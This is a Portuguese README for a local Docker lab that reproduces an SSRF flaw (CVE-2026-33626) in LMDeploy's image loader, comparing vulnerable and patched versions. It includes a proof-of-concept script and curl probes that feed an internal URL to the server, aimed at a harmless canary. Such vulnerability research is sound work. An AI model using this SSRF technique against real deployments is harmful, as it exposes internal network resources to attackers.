
Laboratório Docker Compose reproduzindo CVE-2026-33626 SSRF no carregador de imagens visão-linguagem do LMDeploy. Compara o comportamento vulnerável (0.12.0) e corrigido (0.12.3) com um script PoC e um serviço canário interno.
Este repositório reproduz CVE-2026-33626, uma vulnerabilidade de Server-Side Request Forgery (SSRF) no caminho de carregamento de imagem vision-language do LMDeploy.
O comportamento vulnerável ocorre quando o LMDeploy recebe uma URL de imagem e o carregador de imagem do lado do servidor busca essa URL sem bloquear adequadamente endereços internos, privados, loopback ou link-local.
Este laboratório compara:
| Serviço | Versão | Propósito |
|---|---|---|
vuln | LMDeploy 0.12.0 | Demonstra o comportamento vulnerável |
patched | LMDeploy 0.12.3 | Demonstra o comportamento corrigido |
internal | Serviço canário local | Simula um recurso exclusivamente interno dentro da rede Docker |
O laboratório foi projetado para executar localmente com Docker Compose e não contacta endpoints de metadados de nuvem ou alvos externos.
O LMDeploy suporta fluxos de trabalho vision-language onde uma imagem pode ser carregada a partir de uma URL fornecida pelo usuário. Em versões vulneráveis, o código de carregamento de imagem pode buscar URLs que resolvem para endereços de rede internos/privados.
Isso pode permitir que um atacante com acesso ao endpoint do LMDeploy faça o servidor solicitar recursos internos, como:
Neste laboratório, o alvo interno é intencionalmente inofensivo:
http://internal:9000/private.png
A URL existe apenas dentro da rede do Docker Compose.
Script PoC
|
| envia URL da imagem
v
serviço vuln / patched
|
| chama lmdeploy.vl.load_image(url)
v
serviço canário interno
O laboratório não executa um servidor de inferência VLM completo. Em vez disso, isola a primitiva vulnerável de carregamento de imagem do LMDeploy chamando:
from lmdeploy.vl import load_image
load_image(url)
Isso mantém a reprodução leve e determinística, enquanto ainda demonstra o comportamento de segurança que foi corrigido.
.
├── docker-compose.yml
├── internal
│ ├── Dockerfile
│ └── server.py
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── vuln
│ └── Dockerfile
└── README.md
Dentro da rede Docker, o canário interno é acessível como:
http://internal:9000/private.png
No Apple Silicon, os serviços vuln e patched executam como linux/amd64 porque a wheel LMDeploy usada neste laboratório é x86_64.
Construa e inicie os serviços:
docker compose up -d --build
Verifique o status dos containers:
docker compose ps
Status esperado:
cve-2026-33626-internal Up
cve-2026-33626-vuln Up (healthy)
cve-2026-33626-patched Up (healthy)
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq
Saída esperada:
{
"lmdeploy_version": "0.12.0",
"expected_role": "vulnerable"
}
{
"lmdeploy_version": "0.12.3",
"expected_role": "patched"
}
{
"hits": []
}
Crie um ambiente virtual e instale as dependências:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Execute o PoC:
python poc/poc.py
O alvo SSRF padrão é:
http://internal:9000/private.png
Este alvo é acessível a partir dos containers Docker, não da internet pública.
O serviço vulnerável deve buscar a imagem canário interna com sucesso:
{
"service": "vulnerable",
"probe_http_status": 200,
"probe_response": {
"ok": true,
"result": "lmdeploy.vl.load_image() fetched and decoded the URL",
"lmdeploy_version": "0.12.0"
},
"internal_hit_count": 1
}
Isso confirma que o LMDeploy 0.12.0 fez uma requisição do lado do servidor para o serviço Docker interno.
O serviço corrigido deve bloquear a mesma URL antes de atingir o serviço interno:
{
"service": "patched",
"probe_http_status": 400,
"probe_response": {
"ok": false,
"error_type": "ValueError",
"error": "URL is blocked for security reasons: Blocked non-global IP detected",
"lmdeploy_version": "0.12.3"
},
"internal_hit_count": 0
}
Isso confirma que o LMDeploy 0.12.3 bloqueia URLs que resolvem para endereços IP não globais/internos.
Resumo final esperado:
[+] Resultado esperado confirmado:
serviço vulnerável buscou o canário interno
serviço corrigido bloqueou antes de atingir o canário interno
Redefina o canário interno:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
Teste o serviço vulnerável:
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
Esperado: /hits contém uma requisição.
Teste o serviço corrigido:
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
Esperado: /hits permanece vazio.
O PoC não solicita o serviço interno diretamente como o atacante.
Em vez disso, o PoC envia uma URL interna para o LMDeploy. Se o LMDeploy buscar essa URL de dentro da rede do container, o canário interno registra a requisição.
Esse comportamento prova a primitiva SSRF:
URL controlada pelo atacante
↓
Carregador de imagem do lado do servidor do LMDeploy
↓
Requisição para recurso de rede interna
A versão corrigida evita isso rejeitando URLs que resolvem para endereços IP não globais.
docker compose down -v
Aviso de Segurança do GitHub: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626
Commit da Correção: 71d64a339edb901e9005358e0633fbbab367d626
https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626
Pull Request: #4447 https://github.com/InternLM/lmdeploy/pull/4447
Análise da Sysdig https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours
| Serviço | URL do Host | Porta do Container | Descrição |
|---|
vuln | http://127.0.0.1:8081 | 8000 | Wrapper LMDeploy 0.12.0 |
patched | http://127.0.0.1:8082 | 8000 | Wrapper LMDeploy 0.12.3 |
internal | http://127.0.0.1:8090 | 9000 | Serviço canário interno |